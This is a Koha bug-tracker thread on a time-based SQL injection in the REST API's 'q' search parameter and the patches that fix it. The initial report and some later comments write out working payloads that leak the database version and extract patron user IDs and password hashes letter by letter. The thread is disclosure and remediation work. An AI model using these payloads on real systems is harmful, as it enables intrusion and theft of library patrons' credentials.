Hi! This has been reported by our client's IT, and seems a bit too large/generic compared to the usually specific sql injection bz I see. But since we're not modifying (afaik) that codebase, I want to validate with you if that could affect the community. Client is in 23.05.03 with specific security patches added. I'll do my best to translate: <<< We found a boolean sql injection vulnerability in Koha, exploitable through non-authenticated, non-admin accounts. It is found everywhere where q is used in the API ( https://THE_GIVEN_URL/api/ ). There the JSON key can be injected. Example: (I hid my client's url, but can give it through certain channel if necessary) https://GIVEN_URL/api/v1/public/biblios/1/items?q=[{"-and":[[{"biblio_id":{"like":"%a%"}}]]}] That value doesn't cause any delay: [{"-and":[[{"biblio_id":{"like(sleep(0))or":"%a%"}}]]}] Test with this link: https://GIVEN_URL/api/v1/public/biblios/1/items?q=%5B%7B%22-and%22%3A%5B%5B%7B%22biblio_id%22%3A%7B%22like%28sleep%280%29%29or%22%3A%22%25a%25%22%7D%7D%5D%5D%7D%5D This next one cause a 5s delay in the response, demonstrating the successful injection: [{"-and":[[{"biblio_id":{"like(sleep(1/100000))or":"%a%"}}]]}] Test with this link: https://GIVEN_URL/api/v1/public/biblios/1/items?q=%5B%7B%22-and%22%3A%5B%5B%7B%22biblio_id%22%3A%7B%22like%28sleep%281%2F100000%29%29or%22%3A%22%25a%25%22%7D%7D%5D%5D%7D%5D This way it's possible to extirpate data from the database. Ex we start with the db version. We guess that the result's first char is <<1>>, this cause a 5s delay: [{"-and":[[{"me.biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}] >>> I reproduced the issue on other 23.05 installations. My question is now: is this fixed (I'm late with some patches) or is this a new (serious) issue? Thanks Philippe
Actually, I missed part of the message (the important part) <<< It is possible to extract letter by letter the version “10.3.39-Maria …”. That can be automated toward recovering more sensitive information We could use it to extrat user name and password through “/api/v1/patron”. We didn't succeed in getting the following info without a valid account, although the API paths observed make it probable an exploit with unidentified users. The following search value can be used to extract user names, which returned the first letter from user "cprecicom": [{"-and":[[{"me.surname":{"like(IF(ASCII(SUBSTRING((SELECT userid LIMIT 1),1,1))=ASCII('c'),SLEEP(1/2),0))or":""}}]]}] And the following to extract pw hash: [{"-and":[[{"me.surname":{"like(IF(ASCII(SUBSTRING((SELECT password LIMIT 1),1,1))=ASCII('c'),SLEEP(1/2),0))or":""}}]]}] >>>
Could it be possible to forbid "q=" in public API ?
Maybe? Their suggestion was to filter out 'like' from the 'q' requests, at the very least. I'm surprised nobody else has feedbacks on that issue.
(In reply to Fridolin Somers from comment #2) > Could it be possible to forbid "q=" in public API ? (In reply to Blou from comment #3) > Maybe? > > Their suggestion was to filter out 'like' from the 'q' requests, at the very > least. > > > I'm surprised nobody else has feedbacks on that issue. I doubt that it's just the "q" parameter. If you look at https://wiki.koha-community.org/wiki/Koha_REST_API_Users_Guide#Searching it seems that you could do the same attacks using the request body as well. The problem is allowing unvalidated user input directly into the backend. I've always disliked this feature of the API. Fixing this will probably require an overhaul of the search functionality of the REST API, which is a big project.
I meant to say earlier... we might be able to mitigate this problem by validating "key" fields. Needs more investigation.
I'm going to take a stab at this today... see if I can get some operator validation working.
Created attachment 167440 [details] [review] Bug 37018: Unit tests
Created attachment 167441 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Created attachment 167442 [details] [review] Bug 37018: Use validation in search_rs helper
Here's an initial attempt.. I want to enhance the unit tests with more valid and invalid cases and I have a feeling we need to call the validation routine in more then search_rs but I'm not confident where yet. Anyway.. I wanted to post my initial work to get the ball rolling.. so here it is.
Great stuff. I'm adding Hammat so that he can test. (not sure if I have the rights to do that?)
You should be able to add him in to cc and he'll then be able to see the bug I believe.
Created attachment 167446 [details] [review] Bug 37018: Unit tests
Created attachment 167447 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Created attachment 167448 [details] [review] Bug 37018: Use validation in search_rs helper
Created attachment 167449 [details] [review] Bug 37018: Throw exception and render error For some reason this doesn't work :(. We still result in a 200, when I'd expect a 400 instead coming from the catch block. It would be nice to use openapi too for the 400 render but I can't use that in the way the test is written.
Hi martin, I get the following error message { "error": "Something went wrong, check Koha logs for details.", "error_code": "internal_server_error" } and there is still a 5s delay when testing with sleep(1/100000)
Good on ya, Martin. I'm not sure when I'll have the time, but I'll try to take a look at this when I can...
It work like expected, I get the following message "Invalid operator in query: like(sleep(1/100000))or" when I put «like(sleep(1/100000))or» in the query. But I think the problem is not resolved yet, it's still possible to extirpate data from the database. > > Ex we start > with the db version. We guess that the result's first char is <<1>>, this > cause a 5s delay: > [{"-and":[[{"me.biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT > version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}] when we go to https://THE_GIVEN_URL/api/v1/public/biblios/1/items?q=[{"-and":[[{"biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}] there is a 5s delay that mean the database version begin with «1» Thanks
Created attachment 167603 [details] [review] Bug 37018: (follow-up) Avoid executing invalid query
My understanding is that: q='{"A":"B"}' is insecure because "A" and "B" are not being SQL-quoted, and DBIx::Class+SQL::Abstract is passing it right away to the underlying DB engine, generating a valid query. Being q as simple as that, or more evolved like [{"-and":[[{"me.surname":{"like(IF(ASCII(SUBSTRING((SELECT userid LIMIT 1),1,1))=ASCII('c'),SLEEP(1/2),0))or":""}}]]}] I tried it on the command line: ```shell perl -MDDP -MKoha::Biblios -e 'my $q = [{"-and" => [[{"me.biblio_id" => {"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or" => "%a%"}}]]}]; p(Koha::Biblios->search($q)->_resultset->as_query);' ``` and the result is self explanatory: ```sql (SELECT `me`.`biblionumber`, `me`.`frameworkcode`, `me`.`author`, `me`.`title`, `me`.`medium`, `me`.`subtitle`, `me`.`part_number`, `me`.`part_name`, `me`.`unititle`, `me`.`notes`, `me`.`serial`, `me`.`seriestitle`, `me`.`copyrightdate`, `me`.`timestamp`, `me`.`datecreated`, `me`.`abstract` FROM `biblio` `me` WHERE ( `me`.`biblio_id` LIKE(IF(ASCII(SUBSTRING((SELECT VERSION()),1,1))=ASCII(1),SLEEP(1/100000),0))OR ? )) ```
Comment on attachment 167603 [details] [review] Bug 37018: (follow-up) Avoid executing invalid query Review of attachment 167603 [details] [review]: ----------------------------------------------------------------- ::: Koha/REST/Plugin/Query.pm @@ +224,5 @@ > + 'dbic_remove_invalid_operators' => sub { > + my ( $c, $args ) = @_; > + my @invalid_operators = _get_invalid_operators( $args->{filtered_params} ); > + my %badoperators = map { $_ => 1 } @invalid_operators; > + my $filtered_params = _remove_invalid_operators( $args->{filtered_params}, %badoperators ); I think this change is wrong. If we wanted this fallback mechanism (i.e. removing the bad thing and moving forward) we should (at a minimum) warn about it. But I really think this should follow Martin's initial schema: there's something wrong, throw an exception.
Created attachment 167672 [details] [review] Bug 37018: (follow-up) adding a warning bad operatord are removed from the query
> But I really think this should follow Martin's initial schema: there's something wrong, throw an exception. The helper added by Martin « dbic_validate_operators» is still there and it still returns an Exception when a invalid operator is found , i didn't change it, i just added a new helper dbic_remove_invalid_operators that remove the bad operators from the query to avoid his execution that create some delay and can help extirpate data
I don't understand what's the excepted behavior but the code looks wrong. We are raising an exception, catch it to render a 400, and this is in a if block. I think we should render a 400 and that's all.
(In reply to Jonathan Druart from comment #25) > I don't understand what's the excepted behavior but the code looks wrong. We > are raising an exception, catch it to render a 400, and this is in a if > block. > > I think we should render a 400 and that's all. When we render a 400 the execution doesn't stop. I mean the following line in Objects.pm is still executed. my $objects_rs = $result_set->search( $filtered_params, $attributes ); The execution should stop when an Invalid operator is in the query for example this URL will take 1 minute because it has been executed https://GIVEN_URL/api/v1/public/biblios/11/items?q=[{"-and":[[{"biblio_id":{"like(sleep(1))or":"%a%"}}]]}] and we can use the delay to extirpate data
(In reply to Hammat wele from comment #26) > When we render a 400 the execution doesn't stop. This is exactly where I got stuck.. I couldn't work out how to catch the exception, render the 400 and stop further execution.. for some reason it still returns back after the catch and 400 render, exectus the query and finally renders the result but not the 400 to the end user.. I wondered about moving the try/catch to 'undhandled exceptions'? Basically.. I wanted to avoid having to add the try/catch to ever controller.
(In reply to Hammat wele from comment #24) > > But I really think this should follow Martin's initial schema: there's something wrong, throw an exception. > > The helper added by Martin « dbic_validate_operators» is still there and it > still returns an Exception when a invalid operator is found , i didn't > change it, i just added a new helper dbic_remove_invalid_operators that > remove the bad operators from the query to avoid his execution that create > some delay and can help extirpate data I strongly believe we should throw an exception instead of cleaning the query. Imagine a non-attack scenario, but someone putting a wrong query. They expect the results to be correct or if the query is wrong, they need to know! And also know why it is wrong, if possible. Hiding it for the end user is not the way to go here.
(In reply to Martin Renvoize from comment #27) > (In reply to Hammat wele from comment #26) > > When we render a 400 the execution doesn't stop. > > This is exactly where I got stuck.. I couldn't work out how to catch the > exception, render the 400 and stop further execution.. for some reason it > still returns back after the catch and 400 render, exectus the query and > finally renders the result but not the 400 to the end user.. > > I wondered about moving the try/catch to 'undhandled exceptions'? > > Basically.. I wanted to avoid having to add the try/catch to ever controller. I'll take a look
(In reply to Martin Renvoize from comment #27) > (In reply to Hammat wele from comment #26) > > When we render a 400 the execution doesn't stop. > > This is exactly where I got stuck.. I couldn't work out how to catch the > exception, render the 400 and stop further execution.. for some reason it > still returns back after the catch and 400 render, exectus the query and > finally renders the result but not the 400 to the end user.. > > I wondered about moving the try/catch to 'undhandled exceptions'? > > Basically.. I wanted to avoid having to add the try/catch to ever controller. I thing we could stop the execution by just adding Koha::Exceptions::BadParameter->throw( $_->error );
I'm about to submit a new patch(In reply to Hammat wele from comment #30) > > I thing we could stop the execution by just adding > Koha::Exceptions::BadParameter->throw( $_->error ); I'm about to push new patch
Created attachment 167691 [details] [review] Bug 37018: (follow-up) stop the execution when invalid query prove t/Koha/REST/Plugin/Query.t should return OK, returning 400 when invalid operator is found
That's great work, thanks for taking this on Hammat. I'll look at testing it for QA tomorrow hence I'm back at the computer.
We are lacking a higher-level test: we do not get 400 but 500. % wget 'http://localhost:8080/api/v1/public/biblios/1/items?q=[{"-and":[[{"biblio_id":{"like(IF(ASCII(SUBSTRING((SELECT version()),1,1))=ASCII('1'),SLEEP(1/100000),0))or":"%a%"}}]]}]' --2024-06-14 09:18:42-- http://localhost:8080/api/v1/public/biblios/1/items?q=[%7B%22-and%22:[[%7B%22biblio_id%22:%7B%22like(IF(ASCII(SUBSTRING((SELECT%20version()),1,1))=ASCII(1),SLEEP(1/100000),0))or%22:%22%25a%25%22%7D%7D]]%7D] Resolving localhost (localhost)... 127.0.0.1 Connecting to localhost (localhost)|127.0.0.1|:8080... connected. HTTP request sent, awaiting response... 500 Internal Server Error 2024-06-14 09:18:42 ERROR 500: Internal Server Error.
(In reply to Jonathan Druart from comment #34) > HTTP request sent, awaiting response... 500 Internal Server Error > 2024-06-14 09:18:42 ERROR 500: Internal Server Error. Indeed we have an error 500 when we try to access to an url that contains an invalid operator and we have in api-error.log: [2024/06/14 12:47:51] [ERROR] GET /api/v1/public/biblios/11/items: unhandled exception (Koha::Exceptions::BadParameter)<<Exception 'Koha::Exceptions:: BadParameter' thrown 'Invalid operator in query: like(sleep(1/10))or'>> Koha::REST::Plugin::Exceptions::__ANON__ /inlibro/git/koha-master-dev-hammat/Koha/ REST/Plugin/Exceptions.pm (71) I think it's okay, because in line 648 of Koha/REST/V1/Biblios.pm (get_items_public), an unhandled exception (error 500) is thrown when an exception is found, which is our case.
But then we should not try to render a 400, it's confusing IMO. I understand why it's happening, in it is happening in other places as well. But we are missing something here. Not sure how it should be considered a blocker, but at the minimum we should deal with that on a follow-up bug.
Created attachment 167772 [details] [review] Bug 37018: (follow-up) throw a 500 error when an invalid query is found
There's been no followup to Hammat's last patch and discussion with Jonathan. This suddenly died a week ago now.
Created attachment 168458 [details] [review] Bug 37018: (follow-up) adding some allowed operators
I think those follow-ups need better descriptions so they can be reviewed. In particular, we need tests for every piece of it. As Jonathan expressed, and Martin and I already commented about, the main problem here is that the controllers will be falling back to the `$c->unhandled_exception()` call. This is problematic because: * It requires us to add handling for this known exception on every controller * 500 stands for an internal server error, and this case is the opposite: a user inpur not being correct So the only solution, which Jonathan says shouldn't be a blocker, is some sort of short-circuit that allows us to properly return a 400 without touching the controllers. And it needs to be tested. In REST/V1/Auth.pm we already 'short-circuit' before reaching the controllers, but in the case of $objects->search, we really want it IN the controllers.
(In reply to Jonathan Druart from comment #36) > But then we should not try to render a 400, it's confusing IMO. I understand > why it's happening What do you think of making `$c->unhandled_exception` handle this specific exception? That way we don't need to touch any controllers, by default.
Hi all. I'm trying to add my 2 cents here. And willing to code when back at the desk. * I agree this needs higher level tests to start with. I'm submitting those now. * There shouldn't be patches changing things back and forth. If this is NSO, those should be squashed to ease understanding what's being done and why. * Patch descriptions are key for everyone to understand what's going on. There's lack of those, and test plans. I guess we are on an exploration stage on this bug, but it is still worth investing time on describing things. It's a good exercise that makes you realize things. Always. * If we are still exploring, then this is either ASSIGNED or IN DISCUSSION, not NSO. * If a try/catch structure is added or removed, it should be clear why; or why a `return` is removed from the codebase. This feels a bit random to me. I assume it makes sense and is correct (haven't checked in deep), but (probably because of the lack of explanation) I don't really get it. Those are big changes in the execution path and are not tested either. * I think the bad parameters exception should be thrown and propagated up to the right level (i.e. no need to catch it low-level) and handled correctly. If _validate_operator() explodes, I don't think it should be wrapped in a try/catch. The only reason to do it, is if we expect more than one exception type and want to handle each manually. The use of the `catch` there is probably going to hide any other exception as we are only testing for BadParameter, else nothing: ```perl } catch { if ( blessed $_ && $_->isa('Koha::Exceptions::BadParameter') ) { Koha::Exceptions::BadParameter->throw( $_->error ); } }; } ``` * It is weird to catch a BadParameter exception to just throw a new BadParameter exception. That's what `$_->rethrow()` is designed for. But as I said, I don't think we should be using the try/catch at all. * We should probably add a REST API specific exception class and handle it on a centralized place. A temporary place to do it, for the purpose of mitigating the security bug quick, could be just adding it to the `unhandled_exception` helper. All controllers *should* call it, and we can make it quickly. And then file a bug to move it somewhere else. * A bad request needs to return a 400.
Created attachment 168582 [details] [review] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168583 [details] [review] Bug 37018: Unit tests
Created attachment 168584 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Created attachment 168585 [details] [review] Bug 37018: Use validation in search_rs helper
Created attachment 168586 [details] [review] Bug 37018: Throw exception and render error For some reason this doesn't work :(. We still result in a 200, when I'd expect a 400 instead coming from the catch block. It would be nice to use openapi too for the 400 render but I can't use that in the way the test is written.
Created attachment 168587 [details] [review] Bug 37018: (follow-up) adding some allowed operators
Created attachment 168616 [details] [review] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168617 [details] [review] Bug 37018: Unit tests
Created attachment 168618 [details] [review] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168619 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Created attachment 168620 [details] [review] Bug 37018: Use validation in search_rs helper
Created attachment 168621 [details] [review] Bug 37018: (follow-up) adding some allowed operators
Created attachment 168622 [details] [review] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Hi all. This is how I think this should look like. You will notice the last patch makes the regression tests expect a 500. I took this shortcut for backportability reasons. Making it return a 400 would require adding the 400 response definition in every GET in the spec, which will be really hard to backport. I have written `xt/api.t` tests for this anyway and started the work of adding the 400 on each route, which I will submit in a follow-up report. I think it is good enough for applying to production sites. Happy to roll-back and reintroduce it if we agree on that.
Created attachment 168624 [details] [review] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168626 [details] [review] [POC] Bug 37018: Add 400 to all GET routes
Ok, I've added what I had on my branch so others can look and give their opinion/tell if it is worth. We would do that for all GET routes. That way we can make the helper return a 400 consistently.
Created attachment 168627 [details] [review] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168628 [details] [review] Bug 37018: Unit tests
Created attachment 168629 [details] [review] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168630 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm
Created attachment 168631 [details] [review] Bug 37018: Use validation in search_rs helper
Created attachment 168632 [details] [review] Bug 37018: (follow-up) adding some allowed operators
Created attachment 168633 [details] [review] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168634 [details] [review] Bug 37018: Silence useless warning
Created attachment 168635 [details] [review] [POC] Bug 37018: Add 400 to all GET routes
(In reply to Tomás Cohen Arazi from comment #65) > Created attachment 168632 [details] [review] [review] > Bug 37018: (follow-up) adding some allowed operators How can we be exhaustive here? Can we have a list somewhere? Just having a looking at /usr/share/perl5/SQL/Abstract/Classic.pm and it seems that we are still missing some. between, not_between, rlike, not_rlike, <>, ... And how many more? nest, ident, value? I don't know about them but they appear there.
I don't think the error in the API is correct: - 400: - description: Bad parameter + "400": + description: | + Bad request. Possible `error_code` attribute values: + + * `invalid_query` The existing one was too wide, but here you are very precise and so wrong in some cases. At least this one is not correct: api/v1/swagger/paths/preservation_trains.yaml 387 "/preservation/trains/{train_id}/items/batch": 388 post: 389 x-mojo-to: Preservation::Trains#add_items Koha/REST/V1/Preservation/Trains.pm 255 sub add_items { 274 if ( $_->isa('Koha::Exceptions::Preservation::MissingSettings') ) { 277 openapi => { error => "MissingSettings", parameter => $_->parameter } This one should be replaced carefully and reviewed one by one, and it will be a nightmare to backport. I would suggest to keep the generic "bad request" for now, then improve on a follow-up bug.
(In reply to Tomás Cohen Arazi from comment #56) > I have written `xt/api.t` tests for this anyway and started the work of > adding the 400 on each route, which I will submit in a follow-up report. I > think it is good enough for applying to production sites. The new test in xt/api.t is failing, should it be removed from this bug then?
Created attachment 168654 [details] [review] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168655 [details] [review] Bug 37018: Unit tests Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168656 [details] [review] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168657 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168658 [details] [review] Bug 37018: Use validation in search_rs helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168659 [details] [review] Bug 37018: (follow-up) adding some allowed operators Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168660 [details] [review] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168661 [details] [review] Bug 37018: Silence useless warning Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Created attachment 168662 [details] [review] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
(In reply to Jonathan Druart from comment #71) > (In reply to Tomás Cohen Arazi from comment #56) > > I have written `xt/api.t` tests for this anyway and started the work of > > adding the 400 on each route, which I will submit in a follow-up report. I > > think it is good enough for applying to production sites. > > The new test in xt/api.t is failing, should it be removed from this bug then? I didn't mention I was working on fixing them all. It passes now.
What about comment 69?
(In reply to Jonathan Druart from comment #82) > What about comment 69? Good question. Martin wrote the initial patch and Hammat followed up. Maybe they can give their opinions. I feel like the list is *good enough* [1] and we can safely accept bug reports asking for more in the future. I'd like to note that the API docs only mention: * `>` * `<` * `>=` * `<=` * `-like` * `-not_like` It is remarkably missing `-or` and `-not`. This conversation could happen on its own bug, though. [1] Meaning the ones I've ever used.
Created attachment 168695 [details] [review] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168696 [details] [review] Bug 37018: Unit tests Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168697 [details] [review] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168698 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168699 [details] [review] Bug 37018: Use validation in search_rs helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168700 [details] [review] Bug 37018: (follow-up) adding some allowed operators Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168701 [details] [review] Bug 37018: Handle exception in unhandled_exception() helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168702 [details] [review] Bug 37018: Silence useless warning Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168703 [details] [review] Bug 37018: Add 400 response definition to all routes This patch adds a test for well defined 400 responses on all verbs and paths on the API spec. The tests verify: * Presence of 400 response definition * The description must start with 'Bad request' (needs coding guideline) * If DBIC queries are allowed on the route, then `invalid_query` needs to be mentioned in the description. All routes get fixed to make the tests pass. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ yarn api:bundle k$ prove xt/api.t => SUCCESS: Tests pass! Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 168704 [details] [review] Bug 37018: Clarify operators This patch clarifies the list of operators both in the validate routine and in the swagger descrption block where we document this feature for the end user.
This is all working great now, I'm really happy with the progress since I started it moving. It's good to see the consistency improvement on the spec files, and I've run all the tests under /api/* to confirm we've not broken anything. I've added a further follow-up to clarify the list of supported operators both in the validate routine and the swagger description block where we document the behaviours for consumers. I am a little confused as to where the '-regexp' operator actually comes from.. we're using it in Koha code and it appears to work.. but I can't for the life of me find it defined anywhere in DBIx::*, SQL::Abstract or Koha code. I have tested that it will NOT call regexp_replace in MySQL/MariaDB so I'm happy that it's not a security issue in itself as it's only allowing fro comparison and not replace. Lets get a final QA once over from an independent party.. Jonathan or Nick perhaps and call this done :)
(In reply to Martin Renvoize from comment #94) Same question, what's your opinion on comment 69?
(In reply to Jonathan Druart from comment #95) > (In reply to Martin Renvoize from comment #94) > > Same question, what's your opinion on comment 69? Is it worth undoing those API docs for a security release? That's the question when everyone lacks time always. I vote for pushing as-is but filing another bug to deal with the 'description to narrow' problem. Especially when the highlighted ones are not strictly the same as the introduced description refers to `error_code` whereas the mentioned case returns a different data structure (that doesn't include `error_code` itself and should be revisited). This highlights he haven't done good QA, but now we spotted it, we can keep adding tests and guidelines to streamline it. As this patches do.
(In reply to Tomás Cohen Arazi from comment #96) > (In reply to Jonathan Druart from comment #95) > > (In reply to Martin Renvoize from comment #94) > > > > Same question, what's your opinion on comment 69? 13:58 $ git grep error_code Plugin/Exceptions.pm: error_code => 'internal_server_error', Plugin/Responses.pm: error_code => 'not_found', V1/Auth/Identity/Provider/Domains.pm: error_code => 'not_found', V1/Auth/Identity/Providers.pm: error_code => 'missing_parameter' V1/Auth/Identity/Providers.pm: error_code => 'missing_parameter' V1/Authorities.pm: error_code => 'duplicate', V1/Checkouts.pm: error_code => 'FEATURE_DISABLED' V1/Checkouts.pm: error_code => 'ITEM_NOT_FOUND', V1/Checkouts.pm: error_code => 'PATRON_NOT_FOUND', V1/Holds.pm: my $error_code = V1/Holds.pm: openapi => { error => 'Cannot change pickup location', error_code => $error_code } V1/Holds.pm: ) if $error_code; V1/Items.pm: error_code => $errors->{ $code }->{code}, V1/Items.pm: error_code => 'already_bundled', V1/Items.pm: error_code => 'bundle_checked_out' V1/Items.pm: error_code => 'checked_out' V1/Items.pm: error_code => 'failed_checkin' V1/Items.pm: error_code => 'reserved' V1/Items.pm: error_code => 'failed_nesting' V1/Items.pm: error_code => 'bundle_checked_out' V1/Patrons.pm: openapi => { error => "$_", error_code => 'missing_mandatory_attribute' } V1/Patrons.pm: openapi => { error => "$_", error_code => 'invalid_attribute_type' } V1/Patrons.pm: openapi => { error => "$_", error_code => 'non_repeatable_attribute' } V1/Patrons.pm: openapi => { error => "$_", error_code => 'attribute_not_unique' } V1/Patrons.pm: openapi => { error => "$_", error_code => 'invalid_attribute_type' } V1/Patrons.pm: openapi => { error => "$_", error_code => 'attribute_not_unique' } V1/Patrons.pm: openapi => { error => "$_", error_code => 'non_repeatable_attribute' } V1/Patrons.pm: openapi => { error => "$_", error_code => 'missing_mandatory_attribute' } V1/Patrons.pm: error_code => $error->message, V1/Suggestions.pm: error_code => 'max_total_reached' V1/Suggestions.pm: error_code => 'max_pending_reached'
(In reply to Jonathan Druart from comment #95) > (In reply to Martin Renvoize from comment #94) > > Same question, what's your opinion on comment 69? Comment #94 is my response to comment #69. I refined the list and tried to clean up duplicates (like -like or both in use in the codebase I believe so I didn't remove `like`).. -regexp is just a synonym for `rlike`.. I tried to document all the options. Basically.. see the final commit.
Created attachment 168786 [details] [review] Bug 37018: Regression tests This patch adds regression tests. With the current codebase, the malicious query returns a 200. It should be caught and a 400 needs to be returned. To test: 1. Apply this patch 2. Run: $ ktd --shell k$ prove t/db_dependent/api/v1/query.t => FAIL: It returns a 200 3. Once the rest of the patches are ready, repeat 2 => SUCCESS: It returns a 400 Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168787 [details] [review] Bug 37018: Unit tests Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168788 [details] [review] Bug 37018: Add Koha::Exceptions::REST Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168789 [details] [review] Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168790 [details] [review] Bug 37018: Use validation in search_rs helper Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Created attachment 168791 [details] [review] Bug 37018: (follow-up) adding some allowed operators Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
